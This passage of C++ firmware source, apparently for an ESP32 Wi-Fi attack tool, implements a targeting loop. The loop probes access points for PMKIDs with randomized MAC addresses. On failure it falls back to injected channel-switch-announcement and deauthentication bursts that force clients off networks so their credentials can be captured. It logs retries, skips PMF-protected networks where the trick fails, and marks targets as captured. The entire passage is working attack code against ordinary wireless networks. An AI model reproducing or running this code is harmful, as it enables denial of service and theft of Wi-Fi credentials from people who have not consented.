                if (_attackMask & ATTACK_DEAUTH) _sendDeauthBurst(_cfg.csa_deauth_count, known_sta2);
            }
            _log("[CSA] Burst 2\n");
        }
        if (millis() >= _probeLockEndMs) {
            _fishState = FISH_IDLE; _probeLocked = false; _lastHopMs = millis();
            _stats.failed_csa++;
            _log("[CSA] Wait expired\n");
            if (_attackResultCb) {
                AttackResultRecord r; memset(&r, 0, sizeof(r));
                memcpy(r.bssid, _fishBssid, 6); memcpy(r.ssid, _fishSsid, _fishSsidLen + 1); r.ssid_len = _fishSsidLen;
                r.result = RESULT_CSA_EXPIRED; _attackResultCb(r);
            }
            if (_cfg.max_total_attempts > 0) {
                for (int i = 0; i < MAX_AP_CACHE; i++) {
                    if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, _fishBssid, 6) == 0) {
                        _apCache[i].last_attack_ms = millis();
                        if (++_apCache[i].total_attempts >= _cfg.max_total_attempts) {
                            _markCaptured(_fishBssid);
                            _log("[Attack] Max attempts reached — permanently skipping %02X:%02X:%02X:%02X:%02X:%02X\n",
                                _fishBssid[0], _fishBssid[1], _fishBssid[2], _fishBssid[3], _fishBssid[4], _fishBssid[5]);
                        }
                        break;
                    }
                }
            }
            if (_autoTarget) { clearTarget(); _autoTargetActive = false; }
        }
        return;
    }
    if (_isCaptured(_fishBssid)) { esp_wifi_disconnect(); _fishState = FISH_IDLE; _probeLocked = false; _lastHopMs = millis(); _log("[Fish] Captured!\n"); if (_autoTarget) { clearTarget(); _autoTargetActive = false; } return; }
    if (millis() >= _probeLockEndMs) {
        esp_wifi_disconnect();
        if (_fishRetry < _cfg.fish_max_retries) {
            _fishRetry++; _log("[Fish] Timeout retry %d\n", _fishRetry); _randomizeMac();
            _probeLockEndMs = millis() + _cfg.fish_timeout_ms; _fishAuthLogged = false; _fishAssocLogged = false; esp_wifi_connect(); return;
        }
        bool do_csa = !!(_attackMask & ATTACK_CSA);
        if (do_csa) {
            // Skip CSA fallback for HE/VHT networks with PMF required — the client will
            // discard the injected CSA beacon (MIC-protected management frame).
            for (int i = 0; i < MAX_AP_CACHE; i++) {
                if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, _fishBssid, 6) == 0) {
                    if (_apCache[i].flags.pmf_required &&
                        (_apCache[i].flags.is_he || _apCache[i].flags.is_vht)) {
                        _log("[Attack] PMF+%s — CSA fallback skipped\n",
                             _apCache[i].flags.is_he ? "HE" : "VHT");
                        do_csa = false;
                    }
                    break;
                }
            }
        }
        if (do_csa) {
            _log("[Attack] Switching to CSA\n"); esp_wifi_set_channel(_fishChannel, WIFI_SECOND_CHAN_NONE);
            for (int i = 0; i < MAX_AP_CACHE; i++) {
                if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, _fishBssid, 6) == 0) {
                    _apCache[i].last_attack_ms = millis();
                    break;
                }
            }
            memset(_fishSta, 0, 6); // No known STA from PMKID path
            _csaFallbackMs = 0;
            _sendCsaBurst();
            if (_disconnectStrategy == STRATEGY_SIMULTANEOUS) {
                if (_attackMask & ATTACK_DEAUTH) _sendDeauthBurst(_cfg.csa_deauth_count);
            } else if (_disconnectStrategy == STRATEGY_AUTO_FALLBACK) {
                if ((_attackMask & ATTACK_CSA) && (_attackMask & ATTACK_DEAUTH)) {
                    // Trigger fallback Deauth *before* the second CSA burst (which happens at 2000ms)
                    _csaFallbackMs = millis() + 1000;
                } else if (_attackMask & ATTACK_DEAUTH) {
                    _sendDeauthBurst(_cfg.csa_deauth_count);
                }
            }
            _fishState = FISH_CSA_WAIT; _probeLocked = true; _probeLockEndMs = millis() + _cfg.csa_wait_ms; _csaSecondBurstSent = false;
        } else {
            _fishState = FISH_IDLE; _probeLocked = false; _lastHopMs = millis();
            _stats.failed_pmkid++;
            _log("[Fish] Exhausted\n");
            if (_attackResultCb) {
                AttackResultRecord r; memset(&r, 0, sizeof(r));
                memcpy(r.bssid, _fishBssid, 6); memcpy(r.ssid, _fishSsid, _fishSsidLen + 1); r.ssid_len = _fishSsidLen;
                r.result = RESULT_PMKID_EXHAUSTED; _attackResultCb(r);
            }
            if (_cfg.max_total_attempts > 0) {
                for (int i = 0; i < MAX_AP_CACHE; i++) {
                    if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, _fishBssid, 6) == 0) {
                        if (++_apCache[i].total_attempts >= _cfg.max_total_attempts) {
                            _markCaptured(_fishBssid);
                            _log("[Attack] Max attempts reached — permanently skipping %02X:%02X:%02X:%02X:%02X:%02X\n",
                                _fishBssid[0], _fishBssid[1], _fishBssid[2], _fishBssid[3], _fishBssid[4], _fishBssid[5]);
                        }
                        break;
                    }
                }
            }
            if (_autoTarget) { clearTarget(); _autoTargetActive = false; }
        }
    }
}
 
} // namespace politician